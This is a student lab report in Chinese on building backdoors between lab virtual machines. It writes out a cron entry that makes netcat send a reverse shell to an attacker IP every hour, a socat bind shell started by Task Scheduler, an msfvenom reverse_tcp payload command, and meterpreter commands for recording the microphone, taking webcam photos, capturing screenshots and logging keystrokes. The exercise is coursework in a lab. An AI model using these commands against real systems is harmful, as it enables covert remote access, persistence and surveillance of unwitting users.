1.实验内容 (3.5分)
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2.报告内容:
2.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
进行这个实验之前做点准备活动,检测两个主机是否能互相ping通:
准备完成,下一步准备开始实验。
1.1使用netcat获取主机操作Shell,cron启动 :
此时windows为攻击机,kali为靶机
然后一转攻势,双方角色互换一下:
成功。
接下来我们可以尝试使用cron来定时执行指令,定时启动ncat:
kali:crontab -e
打开crontab,首次打开的时候可能会让你选择1234,选3. /usr/bin/vim.basic
在最下面加一句:37 * * * * /bin/netcat 172.20.10.4 5120 -e /bin/sh
如下图:
监听成功。
1.2使用socat获取主机操作Shell, 任务计划启动
这里主机指的是win7,也就是说kali获取win7的shell。
win中打开控制面板,选中管理工具->任务计划程序->创建新任务->填写任务名称->新建一个触发器。
同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5120 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe
绑定到端口5120
,同时把cmd.exe
的stderr
重定向到stdout
上
按快捷键win+L即能锁定计算机,创建的任务开始运行。
此时在Linux中输入指令 socat - tcp:172.20.10.4:5120 ,发现成功获得了cmd shell,能够输入Windows的命令
1.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先生成一个后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.207 LPORT=5325 -f exe > 20165325.exe
然后把这个后门进程丢到win7里面去,运行它
然后我们kali启动msf,进行一些攻击前的设置:
攻击:
成功。
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权:
我们接下来继续,我上网查了一下指令:
record_mic//该指令可以截获音频 webcam_snap//该指令可以使用摄像头进行拍照 screenshot//该指令可以进行截屏 keyscan_start//输入该指令开始记录下击键的过程 keyscan_dump//输入该指令读取击键的记录
之前一直拍不了,后来发现是虚拟机没连摄像头。。。重新连接了之后输入指令:
唉我去直接弹出来了。。。
可以看到我之前还跑了一个截屏的命令,图片也给我存下来了:
差不多就玩到这儿=。=
本次实验结束。
2.报告内容:
2.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
国内的网络环境很差,各种软件下载的时候都有可能捆绑恶意程序,如果制作的人技术足够好,可以做到免杀。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
后门程序合并到软件功能中一并执行,通过联动的方式自启动。
(3)Meterpreter有哪些给你映像深刻的功能?
最深刻的还是截屏功能和拍照功能,一张图片可以瞬间知道你在做什么,你在屏幕前面的状态和身处的环境。
(4)如何发现自己有系统有没有被安装后门?
先杀软查杀一遍,然后用任务管理器看后台有没有奇怪的进程,然后右键找到它的位置删掉它。
2.2.实验总结与体会
本次实验体验是相当直接和深刻的,信息时代的隐私真的一点都不值钱= =
实验中还是碰到了相当多的问题的,比如说在后半段的实验过程中,msf报错的问题,后来查阅了相关资料:
在kali 2.0中启动带数据库支持的MSF方式如下: #1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start; #2 初始化MSF数据库(关键步骤!):msfdb init; #3 运行msfconsole:msfconsole; #4 在msf中查看数据库连接状态:db_status。 DONE |